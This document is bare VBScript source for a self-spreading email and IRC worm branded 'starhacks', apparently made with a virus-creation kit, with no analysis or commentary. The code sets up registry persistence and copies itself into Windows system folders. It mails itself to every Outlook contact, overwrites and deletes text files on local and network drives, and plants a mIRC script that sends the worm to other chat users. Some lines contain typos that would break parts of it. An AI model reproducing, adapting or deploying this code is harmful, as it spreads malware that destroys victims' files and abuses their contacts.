'antiziyaretci[4]
'Virus created with Rapid virus creator v1.0
On Error Resume Next
dir fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.OpenTextFile(WScript.ScriptFullName,1)
vbsCopy=file.ReadAll
main()
 
Sub Main()
  On Error Resume Next
  dim wscr,rr
  Set wscr = CreateObject("WScript.Shell")
  rr = wscr.RegRead("HKCU\Software\Microsoft\Windows Scripting Host\Settings\TimeOut")
  If (rr>=1) Then
    wscr.RegWrite "HKCU\Software\Microsoft\Windows Scripting Host\Settings\TimeOut",0,"REG_DWORD" 
  End If
  Set DirWin=fso.GetSpecialFolder(0)
  Set DirSystem=fso.GetSpecialFolder(1)
  Set DirTemp=fso.GetSpecialFolder(2)
  Set c=fso.GetFile(WScript.ScriptFullName)
  wscr.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\home.html",dirSystem&"\MSKernel32.vbs"
  wscr.RegWrite "HKLM\Software\Microsoft\Internet Explorer\Main\Window Title","hack"
  c.Copy(dirSystem&"\MSKernel32.vbs")
  c.Copy(dirWin&"\Win32Dll.vbs")
  c.Copy(dirSystem&"\config-info.txt.vbs")
  if true Then
    MsgBox "edikey - starhack"
  End If
  if true Then
    FSO.DeleteFolder (".html")
  End If
  if true Then
    wscr.run "http://www.starhacks.org"
  End If
  if true Then
    wscr.run "http://www.starhacks.org"
  End If
  Postala
  Etkile
End Sub
Sub Postala
  On Error Resume Next
  dim x,a,ctrlists,crtentries,malead,b,regedit,regv,regad
  set regedit = CreateObject("WScript.Shell")
  set out = WScript.CreateObject("Outlook.Application")
  set mapi=out.GetNameSpace("MAPI")
  For CtrLists=1 to mapi.AddressLists.Count
    set a=mapi.AdressLists(CtrLists)
    x=1
    regv=regedit.RegReag("HKCU\Sofware\MicroSoft\WAB\"&a)
    if (regv="") Then
      regv=1
    End If
    If (int(a.AdressEntriesCount)>int(regv)) Then
      For crtEntries=1 to a.AdressEntriesCount
        malead = a.AddressEntries(x)
        regad=""
        regad=regedit.RegReag("HKCU\Sofware\MicroSoft\WAB\"&malead)
        if (regad="") Then
          set male=out.CreateItem(0)
          male.Recipents.Add(malead)
          male.Subject="starhacks"
          male.Body=vbcrlf& "edikey"
 
          male.Attachments.Add(dirSystem&"\MSKernel32.vbs")
          male.Send
          regedit.RegWrite "HKCU\Sofware\MicroSoft\WAB\"&a,a.AdressEntriesCount
        Else
          regedit.RegWrite "HKCU\Sofware\MicroSoft\WAB\"&a,a.AdressEntriesCount
        End If
      Next
    End If
  Next
  Set out=Nothing
  Set mapi=Nothing
End Sub
Sub Etkile
  On Error Resume Next
  Dim d,dc,s
  Set dc = fso.Drives
  For Each d in dc
    If (d.DriveType = 2) or (d.DriveType = 3) Then
      ListFoldersInDrive(d.Path&"\")
    End If
  Next
  Etkile=s
End Sub
Sub ListFoldersInDrive( param )
  On Error Resume Next
  Dim f,f1,sf
  Set f=fso.GetFolder(param)
  Set sf= f.SubFolders
  For Each f1 in sf
    KlasorEtkile(f1.path)
    ListFoldersInDrive(f1.Path)
  Next
End Sub
Sub KlasorEtkile( folderspec )
  OnError Resume Next
  Dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
  Set f=fso.GetFolder(folderspec)
  Set fc=f.files
  For Each f1 in fc
    ext=fso.GetExtensionName(f1.path)
    ext=LCase(ext)
    s=LCase(f1.name)
    If (ext=".txt") Then
      set ap=fso.OpenTextFile(f1.path,2,true)
      ap.write vbsCopy
      ap.Close
    End If
    if (ext=".txt") Then
      fso.DeleteFile(f1.path)
    End If
    If (eq<>FolderSpec) Then
      If (s="mirc32.exe") or (s="mirc.exe") or (s="mirc.hlp") Then
        set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
        scriptini.WriteLine "[script]"
        scriptini.WriteLine "n0=;Altin Nesil Hack TEaM"
        scriptini.WriteLine "n1=ON 1:JOIN:#:{ /if ( $nick == $me ) { halt }"
        scriptini.WriteLine "n2=  /dcc send $nick "&dirSystem&"\MSKernel32.vbs"
        scriptini.WriteLine "n3=}"
        scriptini.WriteLine "n4="
        scriptini.WriteLine "n5=ON 1:PART:#:{ /if ( $nick == $me ) { halt }"
        scriptini.WriteLine "n6=  /dcc send $nick "&dirSystem&"\MSKernel32.vbs"
        scriptini.WriteLine "n7=}"
        scriptini.Close
        eq=folderSpec
      End If
    End If
  Next
End Sub